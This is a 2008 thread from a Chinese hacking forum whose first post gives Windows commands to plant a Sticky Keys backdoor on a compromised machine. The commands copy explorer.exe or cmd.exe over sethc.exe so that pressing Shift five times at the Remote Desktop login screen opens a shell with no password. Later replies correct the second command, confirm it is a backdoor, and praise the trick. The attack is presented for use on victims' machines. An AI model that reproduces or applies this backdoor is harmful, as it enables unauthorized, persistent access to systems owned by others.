【3.A.S.T】网络安全爱好者 » 技术交流 » 无需输入密码登录3389

返回列表发帖

[3.A.S.T]内部成员

Rank: 9 Rank: 9 Rank: 9

帖子: 575
积分: 1897
威望: 2479
金钱: 15914
在线时间: 175 小时

管理组贡献奖内部成员灌水王帅哥勋章支持奖章突出贡献奖刻苦努力奖优秀版主宣传大使奖优质人品奖章论坛元老管理组成员技术组成员

1楼 跳转到 » 倒序看帖

字体大小: tT

发表于 2008-8-25 12:35 | 只看该作者

无需输入密码登录3389

密码, 输入, 登录

在肉鸡上执行命令
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
以后再连接肉鸡3389，敲5下shift键就

据说很老的技术了，作为后门是个不错的思路

原理：
有人发现在登录之前连续按5下shift能够激活粘滞键，也就是 sethc.exe
那么将这个文件替换掉，就能够执行别的程序

explorer.exe是资源管理器，其实换成CMD的话可能很多人更能够清楚的知道去做什么

3.A.S.T上校

Rank: 7 Rank: 7 Rank: 7

帖子: 467
积分: 1206
威望: 1733
金钱: 143828
在线时间: 43 小时

2楼

发表于 2008-8-25 12:57 | 只看该作者

顶你 ~~~！

3.A.S.T少尉

Rank: 2

帖子: 26
积分: 61
威望: 67
金钱: 45
在线时间: 7 小时

3楼

发表于 2008-8-25 14:17 | 只看该作者

很强！！！;P

Rank: 11

帖子: 416
积分: 1324
威望: 1596
金钱: 656
在线时间: 139 小时

高手勋章 VIP会员核心成员原创奖章贡献奖内部成员帅哥勋章支持奖章突出贡献奖优质人品奖章技术组成员

4楼

发表于 2008-8-25 15:06 | 只看该作者

第二个应该是copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe

Administrators

Rank: 15

帖子: 3852
积分: 13044
威望: 16780
金钱: 36761
在线时间: 1139 小时

管理组高手勋章核心成员原创奖章帅哥勋章突出贡献奖优质人品奖章论坛元老管理组成员技术组成员

5楼

发表于 2008-8-27 09:29 | 只看该作者

回复 4楼 saitojie 的帖子

OK

我把修改了

就是一个后门咯

希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系，他人勿扰
于智者同行，你会不同凡响；与高人为伍，你会登上巅峰

3.A.S.T士兵

Rank: 1

帖子: 22
积分: 48
威望: 57
金钱: 41
在线时间: 4 小时

6楼

发表于 2008-8-27 20:32 | 只看该作者

很好很强学习下~~`

3.A.S.T少尉

Rank: 2

帖子: 74
积分: 119
威望: 132
金钱: 26
在线时间: 8 小时

7楼

发表于 2008-9-3 21:32 | 只看该作者

了解一下，没有试过，还是学习一下才:D :D

3.A.S.T中尉

Rank: 3 Rank: 3

帖子: 151
积分: 209
威望: 206
金钱: 179
在线时间: 15 小时

8楼

发表于 2010-2-15 00:15 | 只看该作者

不错不错~~~